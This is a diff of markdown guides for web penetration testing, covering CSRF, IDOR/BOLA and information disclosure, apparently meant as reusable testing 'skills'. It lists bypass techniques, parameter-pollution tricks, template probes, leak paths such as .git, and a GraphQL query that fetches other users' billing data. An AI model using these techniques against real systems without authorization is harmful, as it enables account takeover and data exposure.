||||||
### Websocket Csrf
|
|
||||||
|
|
||||||
- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
|
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
|
### SameSite Nuance
|
||||||
|
|
||||||
|
- Lax-by-default cookies are sent on top-level cross-site GET but not POST
|
||||||
|
- Exploit GET state changes and GET-based confirmation steps
|
||||||
|
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices
|
||||||
|
|
||||||
|
### Origin/Referer Obfuscation
|
||||||
|
|
||||||
|
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null
|
||||||
|
- `about:blank`/`data:` URLs alter Referer
|
||||||
|
- Ensure server requires explicit Origin/Referer match
|
||||||
|
|
||||||
|
### Method Override
|
||||||
|
|
||||||
|
- Backends honoring `_method` or `X-HTTP-Method-Override` may allow destructive actions through a simple POST
|
||||||
|
|
||||||
### Token Weaknesses
|
### Token Weaknesses
|
||||||
|
|
||||||
- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
|
- Accepting missing/empty tokens
|
||||||
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
|
- Tokens not tied to session, user, or path
|
||||||
|
- Tokens reused indefinitely; tokens in GET
|
||||||
|
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources
|
||||||
|
|
||||||
### Content Type Switching
|
### Content-Type Switching
|
||||||
|
|
||||||
- Switch between form, multipart, and text/plain to reach different code paths and validators.
|
- Switch between form, multipart, and `text/plain` to reach different code paths
|
||||||
- Use duplicate keys and array shapes to confuse parsers.
|
- Use duplicate keys and array shapes to confuse parsers
|
||||||
|
|
||||||
### Header Manipulation
|
### Header Manipulation
|
||||||
|
|
||||||
- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
|
- Strip Referer via meta refresh or navigate from `about:blank`
|
||||||
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
|
- Test null Origin acceptance
|
||||||
|
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens
|
||||||
|
|
||||||
## Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
### Mobile Spa
|
### Mobile/SPA
|
||||||
|
|
||||||
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
|
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links
|
||||||
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
|
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable
|
||||||
|
|
||||||
### Integrations
|
### Integrations
|
||||||
|
|
||||||
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
|
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff
|
||||||
|
- Confirm CSRF defenses there too
|
||||||
|
|
||||||
## Chaining Attacks
|
## Chaining Attacks
|
||||||
|
|
||||||
- CSRF + IDOR: force actions on other users' resources once references are known.
|
- CSRF + IDOR: force actions on other users' resources once references are known
|
||||||
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
|
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations
|
||||||
- CSRF + OAuth mix-up: bind victim sessions to unintended clients.
|
- CSRF + OAuth mix-up: bind victim sessions to unintended clients
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory endpoints** - All state-changing endpoints including admin/staff
|
||||||
|
2. **Note request details** - Method, content-type, whether reachable via simple requests
|
||||||
|
3. **Assess session model** - Cookies with SameSite attrs, custom headers, tokens
|
||||||
|
4. **Check defenses** - Anti-CSRF tokens and Origin/Referer enforcement
|
||||||
|
5. **Attempt preflightless delivery** - Form POST, text/plain, multipart/form-data
|
||||||
|
6. **Test navigation** - Top-level GET navigation
|
||||||
|
7. **Cross-browser validation** - Behavior differs by SameSite and navigation context
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
|
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting
|
||||||
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
|
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified
|
||||||
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
|
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch)
|
||||||
4. Provide before/after state evidence for the same account.
|
4. Provide before/after state evidence for the same account
|
||||||
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
|
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin)
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
- Token verification present and required; Origin/Referer enforced consistently.
|
- Token verification present and required; Origin/Referer enforced consistently
|
||||||
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
|
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests
|
||||||
- Only idempotent, non-sensitive operations affected.
|
- Only idempotent, non-sensitive operations affected
|
||||||
|
|
||||||
## Impact
|
## Impact
|
||||||
|
|
||||||
- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
|
- Account state changes (email/password/MFA), session hijacking via login CSRF
|
||||||
- Durable authorization changes (role/permission flips, key rotations) and data loss.
|
- Financial operations, administrative actions
|
||||||
|
- Durable authorization changes (role/permission flips, key rotations) and data loss
|
||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
|
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available
|
||||||
2. Test login/logout, OAuth connect/disconnect, and account linking first.
|
2. Test login/logout, OAuth connect/disconnect, and account linking first
|
||||||
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
|
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them
|
||||||
4. Toggle SameSite and observe differences across navigation vs XHR.
|
4. Toggle SameSite and observe differences across navigation vs XHR
|
||||||
5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
|
5. For GraphQL, attempt GET queries or persisted queries that carry mutations
|
||||||
6. Always try method overrides and parser differentials.
|
6. Always try method overrides and parser differentials
|
||||||
7. Combine with clickjacking when visual confirmations block CSRF.
|
7. Combine with clickjacking when visual confirmations block CSRF
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.
|
CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller's origin. Tokens and Origin checks must hold across methods, content-types, and transports.
|
||||||
|
|||||||
@@ -1,42 +1,37 @@
|
|||||||
# INSECURE DIRECT OBJECT REFERENCE (IDOR)
|
---
|
||||||
|
name: idor
|
||||||
|
description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# IDOR
|
||||||
|
|
||||||
Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
|
Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Scope**
|
||||||
- Horizontal access: access another subject's objects of the same type
|
- Horizontal access: access another subject's objects of the same type
|
||||||
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
||||||
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
||||||
- Cross-service access: token or context accepted by the wrong service
|
- Cross-service access: token or context accepted by the wrong service
|
||||||
|
|
||||||
## Methodology
|
**Reference Locations**
|
||||||
|
- Paths, query params, JSON bodies, form-data, headers, cookies
|
||||||
|
- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
||||||
|
|
||||||
1. Build a Subject × Object × Action matrix (who can do what to which resource).
|
**Identifier Forms**
|
||||||
2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
|
- Integers, UUID/ULID/CUID, Snowflake, slugs
|
||||||
3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
|
- Composite keys (e.g., `{orgId}:{userId}`)
|
||||||
4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
|
- Opaque tokens, base64/hex-encoded blobs
|
||||||
|
|
||||||
## Discovery Techniques
|
**Relationship References**
|
||||||
|
- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
||||||
|
|
||||||
### Parameter Analysis
|
**Expansion/Projection Knobs**
|
||||||
|
- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
|
||||||
|
- Often bypass authorization in resolvers or serializers
|
||||||
|
|
||||||
- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
## High-Value Targets
|
||||||
- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
|
|
||||||
- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
|
||||||
- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
|
|
||||||
- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
|
|
||||||
|
|
||||||
### Advanced Enumeration
|
|
||||||
|
|
||||||
- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
|
|
||||||
- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys `{"id":1,"id":2}` (parser precedence differences)
|
|
||||||
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
|
||||||
- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
|
|
||||||
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
|
||||||
|
|
||||||
## High Value Targets
|
|
||||||
|
|
||||||
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
||||||
- Messaging/mailbox/notifications, audit logs, activity feeds
|
- Messaging/mailbox/notifications, audit logs, activity feeds
|
||||||
@@ -47,43 +42,62 @@ Object- and function-level authorization failures (BOLA/IDOR) routinely lead to
|
|||||||
- Background jobs: import/export job IDs, task results
|
- Background jobs: import/export job IDs, task results
|
||||||
- Multi-tenant resources: organizations, workspaces, projects
|
- Multi-tenant resources: organizations, workspaces, projects
|
||||||
|
|
||||||
## Exploitation Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Horizontal Vertical
|
**Parameter Analysis**
|
||||||
|
- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)
|
||||||
|
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
||||||
|
|
||||||
- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
|
**Enumeration Techniques**
|
||||||
|
- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
|
||||||
|
- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
|
||||||
|
- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
|
||||||
|
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
||||||
|
- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`
|
||||||
|
|
||||||
|
**UUID/Opaque ID Sources**
|
||||||
|
- Logs, exports, JS bundles, analytics endpoints, emails, public activity
|
||||||
|
- Time-based IDs (UUIDv1, ULID) may be guessable within a window
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Horizontal & Vertical Access
|
||||||
|
|
||||||
|
- Swap object IDs between principals using the same token to probe horizontal access
|
||||||
|
- Repeat with lower-privilege tokens to probe vertical access
|
||||||
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
||||||
|
|
||||||
### Bulk And Batch
|
### Bulk & Batch Operations
|
||||||
|
|
||||||
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
||||||
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
||||||
|
|
||||||
### Secondary Idor
|
### Secondary IDOR
|
||||||
|
|
||||||
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
|
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
|
||||||
|
- Fetch or mutate those objects directly
|
||||||
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
||||||
|
|
||||||
### Job Task Objects
|
### Job/Task Objects
|
||||||
|
|
||||||
- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
|
- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
|
||||||
- Cancel/approve someone else's jobs by referencing their task IDs
|
- Cancel/approve someone else's jobs by referencing their task IDs
|
||||||
|
|
||||||
### File Object Storage
|
### File/Object Storage
|
||||||
|
|
||||||
- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
- Direct object paths or weakly scoped signed URLs
|
||||||
|
- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
||||||
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
||||||
|
|
||||||
## Advanced Techniques
|
### GraphQL
|
||||||
|
|
||||||
### Graphql
|
- Enforce resolver-level checks: do not rely on a top-level gate
|
||||||
|
- Verify field and edge resolvers bind the resource to the caller on every hop
|
||||||
|
- Abuse batching/aliases to retrieve multiple users' nodes in one request
|
||||||
|
- Global node patterns (Relay): decode base64 IDs and swap raw IDs
|
||||||
|
- Overfetching via fragments on privileged types
|
||||||
|
|
||||||
- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
|
```graphql
|
||||||
- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
|
|
||||||
- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test `node(id: "...base64..."){...}`
|
|
||||||
- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
|
|
||||||
- Example:
|
|
||||||
```
|
|
||||||
query IDOR {
|
query IDOR {
|
||||||
me { id }
|
me { id }
|
||||||
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
||||||
@@ -91,65 +105,58 @@ query IDOR {
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Microservices Gateways
|
### Microservices & Gateways
|
||||||
|
|
||||||
- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
||||||
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
|
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
|
||||||
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
||||||
|
|
||||||
### Multi Tenant
|
### Multi-Tenant
|
||||||
|
|
||||||
- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
|
- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
|
||||||
|
- Try mixing org of token with resource from another org
|
||||||
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
||||||
|
|
||||||
### Uuid And Opaque Ids
|
### WebSocket
|
||||||
|
|
||||||
- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
|
- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)
|
||||||
- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
|
- Subscribe/publish checks must run server-side, not only at handshake
|
||||||
|
|
||||||
### Blind Channels
|
|
||||||
|
|
||||||
- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
|
|
||||||
- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
|
|
||||||
|
|
||||||
## Bypass Techniques
|
|
||||||
|
|
||||||
### Parser And Transport
|
|
||||||
|
|
||||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
|
|
||||||
- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
|
|
||||||
- JSON duplicate keys/array injection to bypass naive validators
|
|
||||||
|
|
||||||
### Parameter Pollution
|
|
||||||
|
|
||||||
- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
|
|
||||||
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
|
||||||
|
|
||||||
### Cache And Gateway
|
|
||||||
|
|
||||||
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
|
|
||||||
- Redirect chains and 304/206 behaviors can leak content across tenants
|
|
||||||
|
|
||||||
### Race Windows
|
|
||||||
|
|
||||||
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
|
||||||
|
|
||||||
## Special Contexts
|
|
||||||
|
|
||||||
### Websocket
|
|
||||||
|
|
||||||
- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
|
|
||||||
- Try sending messages with target user IDs after subscribing to own channels
|
- Try sending messages with target user IDs after subscribing to own channels
|
||||||
|
|
||||||
### Grpc
|
### gRPC
|
||||||
|
|
||||||
- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
|
- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
|
||||||
|
- Validate references via grpcurl with tokens from different principals
|
||||||
|
|
||||||
### Integrations
|
### Integrations
|
||||||
|
|
||||||
- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
|
- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership
|
||||||
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
**Parser & Transport**
|
||||||
|
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
||||||
|
- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
|
||||||
|
- JSON duplicate keys/array injection to bypass naive validators
|
||||||
|
|
||||||
|
**Parameter Pollution**
|
||||||
|
- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
|
||||||
|
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
||||||
|
|
||||||
|
**Cache & Gateway**
|
||||||
|
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
|
||||||
|
- Manipulate Vary and Accept headers
|
||||||
|
- Redirect chains and 304/206 behaviors can leak content across tenants
|
||||||
|
|
||||||
|
**Race Windows**
|
||||||
|
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
||||||
|
|
||||||
|
**Blind Channels**
|
||||||
|
- Use differential responses (status, size, ETag, timing) to detect existence
|
||||||
|
- Error shape often differs for owned vs foreign objects
|
||||||
|
- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
|
||||||
|
|
||||||
## Chaining Attacks
|
## Chaining Attacks
|
||||||
|
|
||||||
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
||||||
@@ -157,13 +164,22 @@ query IDOR {
|
|||||||
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
||||||
- IDOR + Race: bypass spot checks with simultaneous requests
|
- IDOR + Race: bypass spot checks with simultaneous requests
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)
|
||||||
|
2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)
|
||||||
|
3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints
|
||||||
|
4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants
|
||||||
|
5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC
|
||||||
|
6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Demonstrate access to an object not owned by the caller (content or metadata).
|
1. Demonstrate access to an object not owned by the caller (content or metadata)
|
||||||
2. Show the same request fails with appropriately enforced authorization when corrected.
|
2. Show the same request fails with appropriately enforced authorization when corrected
|
||||||
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
|
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
|
||||||
4. Document tenant boundary violations (if applicable).
|
4. Document tenant boundary violations (if applicable)
|
||||||
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
|
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -181,17 +197,17 @@ query IDOR {
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Always test list/search/export endpoints first; they are rich ID seeders.
|
1. Always test list/search/export endpoints first; they are rich ID seeders
|
||||||
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
|
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
|
||||||
3. Toggle content-types and transports; authorization middleware often differs per stack.
|
3. Toggle content-types and transports; authorization middleware often differs per stack
|
||||||
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children.
|
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
|
||||||
5. In multi-tenant apps, vary org headers, subdomains, and path params independently.
|
5. In multi-tenant apps, vary org headers, subdomains, and path params independently
|
||||||
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks.
|
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
|
||||||
7. Inspect gateways for header trust and cache key configuration.
|
7. Inspect gateways for header trust and cache key configuration
|
||||||
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
|
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
|
||||||
9. Use timing/size/ETag differentials for blind confirmation when content is masked.
|
9. Use timing/size/ETag differentials for blind confirmation when content is masked
|
||||||
10. Prove impact with precise before/after diffs and role-separated evidence.
|
10. Prove impact with precise before/after diffs and role-separated evidence
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.
|
Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.
|
||||||
|
|||||||
@@ -1,204 +1,163 @@
|
|||||||
# INFORMATION DISCLOSURE
|
---
|
||||||
|
name: information-disclosure
|
||||||
|
description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Information Disclosure
|
||||||
|
|
||||||
Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
|
Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
||||||
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
||||||
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
||||||
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
||||||
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
||||||
- Client bundles and source maps: webpack/Vite maps, embedded env, __NEXT_DATA__, static JSON
|
- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
|
||||||
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
||||||
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
||||||
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
||||||
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
||||||
- Cross-origin signals: CORS misconfig, Referrer-Policy leakage, Expose-Headers
|
|
||||||
- File/document metadata: EXIF, PDF/Office properties
|
|
||||||
|
|
||||||
## Methodology
|
## High-Value Surfaces
|
||||||
|
|
||||||
1. Build a channel map: Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN.
|
### Errors and Exceptions
|
||||||
2. Establish a diff harness: compare owner vs non-owner vs anonymous across transports; normalize on status/body length/ETag/headers.
|
|
||||||
3. Trigger controlled failures: send malformed types, boundary values, missing params, and alternate content-types to elicit error detail and stack traces.
|
|
||||||
4. Enumerate artifacts: DVCS folders, backups, config endpoints, source maps, client bundles, API docs, observability routes.
|
|
||||||
5. Correlate disclosures to impact: versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass, IDs→IDOR.
|
|
||||||
|
|
||||||
## Surfaces
|
|
||||||
|
|
||||||
### Errors And Exceptions
|
|
||||||
|
|
||||||
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
||||||
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
||||||
- Template engine probes: `{{7*7}}, ${7*7}` identify templating stack and code paths
|
- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
|
||||||
- JSON/XML parsers: type mismatches and coercion logs leak internal model names
|
- JSON/XML parsers: type mismatches leak internal model names
|
||||||
|
|
||||||
### Debug And Env Modes
|
### Debug and Env Modes
|
||||||
|
|
||||||
- Debug pages and flags: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
||||||
- Profiler endpoints: /debug/pprof, /actuator, /_profiler, custom /debug APIs
|
- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
|
||||||
- Feature/config toggles exposed in JS or headers; admin/staff banners in HTML
|
- Feature/config toggles exposed in JS or headers
|
||||||
|
|
||||||
### Dvcs And Backups
|
### DVCS and Backups
|
||||||
|
|
||||||
- DVCS: /.git/ (HEAD, config, index, objects), .svn/entries, .hg/store → reconstruct source and secrets
|
- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
|
||||||
